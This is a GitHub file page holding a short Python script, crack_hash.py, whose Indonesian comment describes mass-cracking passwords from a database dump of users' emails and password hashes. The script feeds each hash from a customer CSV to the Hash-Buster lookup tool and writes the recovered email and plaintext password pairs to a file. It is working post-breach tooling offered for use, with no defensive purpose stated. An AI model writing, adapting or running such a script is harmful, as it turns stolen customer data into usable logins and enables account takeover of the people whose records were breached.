-
Notifications
You must be signed in to change notification settings - Fork 8
Expand file tree
/
Copy pathcrack_hash.py
More file actions
22 lines (18 loc) · 815 Bytes
/
Copy pathcrack_hash.py
File metadata and controls
22 lines (18 loc) · 815 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python3
# desc : hasil dump user (email & password) dari DB trus pengen mass crack passwordnya.
# file content : email,password
# require https://github.com/s0md3v/Hash-Buster
import sys
import subprocess
with open('customer_email_pass.csv', 'r') as infile:
data = infile.readlines()
for i in data:
data = i.strip().split(',')
command = subprocess.check_output(["buster", "-s", str(data[1]).replace('"', '')])
if "Hash was not found" in str(command):
print("[ERROR] " + data[0] + "|" + str(data[1]).replace('"', ''))
continue
passafterhash = str(command).split("MD5")[1]
print("[SUCCESS] " + data[0] + "|" + str(data[1]).replace('"', '') + "|" + passafterhash[2:-3])
with open("cracked_pass.txt", "a") as myfile:
myfile.write(data[0] + "|" + passafterhash[2:-3] + "\n")